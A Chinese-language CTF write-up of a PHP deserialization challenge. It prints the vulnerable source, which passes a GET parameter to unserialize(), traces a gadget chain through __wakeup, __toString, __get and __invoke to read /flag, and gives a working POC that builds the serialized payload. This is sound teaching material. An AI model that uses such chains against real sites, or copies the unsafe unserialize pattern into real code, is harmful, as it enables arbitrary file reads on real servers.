因为实验环境已经关闭,就在本地搭建了一个环境。
访问之后提示我们去找源码
0x01 分析入口点
通过扫描路径找到 www.zip
下载解压后得到 index.php
<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);
class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
public function __construct(){
echo "I think you need /etc/hint . Before this you need to see the source code";
}
public function _sayhello(){
echo $this->name;
return 'ok';
}
public function __wakeup(){
echo "hi";
$this->_sayhello();
}
public function __get($cc){
echo "give you flag : ".$this->flag;
return ;
}
}
class Info
{
private $phonenumber=123123;
public $promise='I do';
public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}
public function __toString(){
return $this->file['filename']->ffiillee['ffiilleennaammee'];
}
}
class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';
public function __get($name){
$function = $this->a;
return $function();
}
public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
}
public function __invoke(){
$content = $this->Get_hint($this->filename);
echo $content;
}
}
if(isset($_GET['hello'])){
unserialize($_GET['hello']);
}else{
$hi = new Start();
}
?>
看到 unserialize 函数就知道是反序列化题目了,入口是 hello 参数
http://127.0.0.1:8080/index.php?hello=
我们需要这么去传参。
0x02 分析漏洞点
不难发现在 class Room 处有一个可以读取文件并返回 base64编码数据的接口
public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
}
public function __invoke(){
$content = $this->Get_hint($this->filename);
echo $content;
}
但是我们需要触发 __invoke 这个魔法函数。当对象被当成函数执行时就会进入到这个魔法函数。
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。(本特性只在 PHP 5.3.0 及以上版本有效。)
$t = new Room;
$t();
// 触发 __invoke
那么可能触发它的地方同样在 class Room 里面的 __get 魔法函数
public function __get($name){
$function = $this->a;
return $function();
}
也就是说我们将 a 变量替换成 class Room 对象即可触发 _invoke 拿到 flag,但有个前提。需要我们触发 \_get 这个魔法函数
$t = new Room;
$t->bucunzaideshuxing;
// 触发 __get
读取不可访问属性的值时,__get() 会被调用。
当我们访问对象不存在的属性时就会触发这个魔法函数,在 class Info 中就可以找到。
public function __toString(){
return $this->file['filename']->ffiillee['ffiilleennaammee'];
}
我们需要 $this->file['filename'] = new Room;
但在此还有一个前提,如何触发 __toString 魔法函数
$i = new Info;
echo $i;
// 触发 __toString
__toString() 方法用于定义一个类被当成字符串时该如何处理。
在 class Start 就能找到触发点
public function _sayhello(){
echo $this->name;
return 'ok';
}
public function __wakeup(){
echo "hi";
$this->_sayhello();
}
很明显我们需要将 $this->name = new Info;
在此之前我们需要触发 __wakeup ,这就说明我们序列化的对象就是这个。
在使用 unserialize() 时,会检查是否存在一个 __wakeup() 魔术方法。如果存在,则该方法会先被调用,预先准备对象需要的资源。
0x03 整理思路
- 先将 class Start 中的 name 赋值 class Info
a . 触发 Info __toString - 将 class Info 的 file 赋值成数组对象,其中 'filename' => class Room
a. 触发 Room __get - class Room 的 a 要等于自身
a. 触发 Room __invoke
b . 触发 file_get_contents 得到 base64 flag
c. Base64 转码后得到 flag
0x04 POC
<?php
class Start
{
public $name;
}
class Info{
public $file;
}
class Room{
public $a;
}
$p = new Start();
$L = new Info();
$r = new Room();
$p->name = $L; // 1. 赋值 Info 对象
$L->file = array('filename'=>$r); // 2. 赋值 Room 对象
$r->a=$r; // 3. 等于自身
echo serialize($p); // 4. 序列化 Start 对象
最终序列化出来的字符串
O:5:"Start":1:{s:4:"name";O:4:"Info":1:{s:4:"file";a:1:{s:8:"filename";O:4:"Room":1:{s:1:"a";r:4;}}}}
0x05 思考与总结
-
我在本地测试时把源码中的
error_reporting(1);
删除后能看到很多报错信息,这些信息可以帮助我们迅速的找到问题,但在题目环境中是没有的,我们可以先拿我们自己的源码尝试一遍。 -
反序列化重点在于变量和魔法函数的触发。